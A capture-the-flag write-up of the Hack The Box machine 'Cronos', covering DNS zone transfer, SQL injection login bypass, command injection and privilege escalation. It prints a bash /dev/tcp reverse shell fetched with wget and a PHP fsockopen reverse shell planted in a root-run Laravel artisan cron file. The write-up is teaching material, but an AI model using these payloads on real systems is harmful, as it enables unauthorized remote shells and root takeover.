tl;dr

  • SQL Injection
  • Linpeas Priv-Esc

Solved by: 7h3M0nk

I always ask my self what did I learn after solving each challenge, usually it will be about some exploit, or some new ways about doing Privilage Escalation.

In this challenge it was about doing a thorough recon. Adding the service to my hosts enabled me to view the subdomains. Otherwise this would have been a rabit hole!

Initial Analysis

The IP of the box is 10.10.10.13. Let’s do a port scan and find out what all services are present.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


┌──(kali㉿kali)-[~/…/Cronos/recon/10.10.10.13/nmap]
└─$ nmap -sC -sV -Pn -p0-1000 10.10.10.13 > recon &

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 03:25 EST
Nmap scan report for 10.10.10.13
Host is up (0.16s latency).
Not shown: 9998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.33 seconds

There is a ISC BIND running at Port 53. Something to keep note when we are dealing with DNS servers is to add them to the hosts in the attacker’s system.

Adding cronos.htb in hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13


┌──(kali㉿kali)-[~/…/Cronos/recon/10.10.10.13/nmap]
└─$ cat /etc/hosts 130 ⨯
127.0.0.1 localhost
127.0.1.1 kali

10.10.10.13 cronos.htb admin.cronos.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

This will allow us to view the web contents hosted in the server.

Page

Now we are able to view the page. I checked the source and even ran an nmap vuln script but didn’t find anything useful.

This means I need to rethink my approach, are there any subdomains under the cronos.htb?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/…/Cronos/recon/10.10.10.13/nmap]
└─$ dig axfr cronos.htb @10.10.10.13 9 ⨯

; <<>> DiG 9.16.11-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 636 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Thu Mar 04 09:59:47 EST 2021
;; XFR size: 7 records (messages 1, bytes 203)

What is happening here is pretty cool, the axfr protocol is used to replicate DNS records across DNS servers. The problem here is if the host doesn’t protect the servers, attackers like us will be able to get the information about the hosts.

Let’s checkout the admin.cronos.htb first.

Second

Exploit

I tried to go through some known vulnerabilites of Apache 2.4.18, but didn’t find anything useful.

Moving on, let’s try SQL Injection.

SQL Injection

That Worked, Haha!

Net Tool

This is pretty simple, OS command injection is possible here. Checking if ls works, and it worked. Let’s pop a reverse shell

Code Execution

1
2
3
4
5
6
7
8
9
10

┌──(kali㉿kali)-[~/HackTheBox/Cronos/exploit]
└─$ cat shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/54 0>&1

┌──(kali㉿kali)-[~/HackTheBox/Cronos/exploit]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Used wget to download the file, changed the execution permission and ran it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

┌──(kali㉿kali)-[~]
└─$ sudo nc -nvlp 54
[sudo] password for kali:
listening on [any] 54 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.13] 37402
bash: cannot set terminal process group (1389): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$ whoami
whoami
www-data
www-data@cronos:/var/www/admin$ cd /home/
cd /home/
www-data@cronos:/home$ ls
ls
noulis
www-data@cronos:/home$ cd noulis
cd noulis
www-data@cronos:/home/noulis$ cat user.txt

Got the user shell!!

Now to do Priv Esc. Let’s get the linpeas tool into the system, and check if there are any PE vectors.

PE

Got it! The laravel/artisan is scheduled to run every minute as root. The file is written in php, a php reverse shell payload might do the trick. I was unable to edit the file from the terminal itself, so did a work around.

I copied the entire file onto my system, added the reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


┌──(kali㉿kali)-[~/HackTheBox/Cronos/exploit]
└─$ cat artisan
#!/usr/bin/env php
<?php

$sock=fsockopen("10.10.14.3",4242);
exec("/bin/sh -i <&3 >&3 2>&3");

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/bootstrap/autoload.php';

$app = require_once __DIR__.'/bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/

$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);

$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);

/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running. We will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/

$kernel->terminate($input, $status);

exit($status);

Downloading the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

www-data@cronos:/var/www/laravel$ wget http://10.10.14.3:8000/artisan
wget http://10.10.14.3:8000/artisan
--2021-03-04 18:58:20-- http://10.10.14.3:8000/artisan
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1716 (1.7K) [application/octet-stream]
Saving to: 'artisan'

0K . 100% 125M=0s

2021-03-04 18:58:21 (125 MB/s) - 'artisan' saved [1716/1716]



Got the root shell!

1
2
3
4
5
6
7
8
9

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.13] 56398
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt

And that is how I solved Cronos!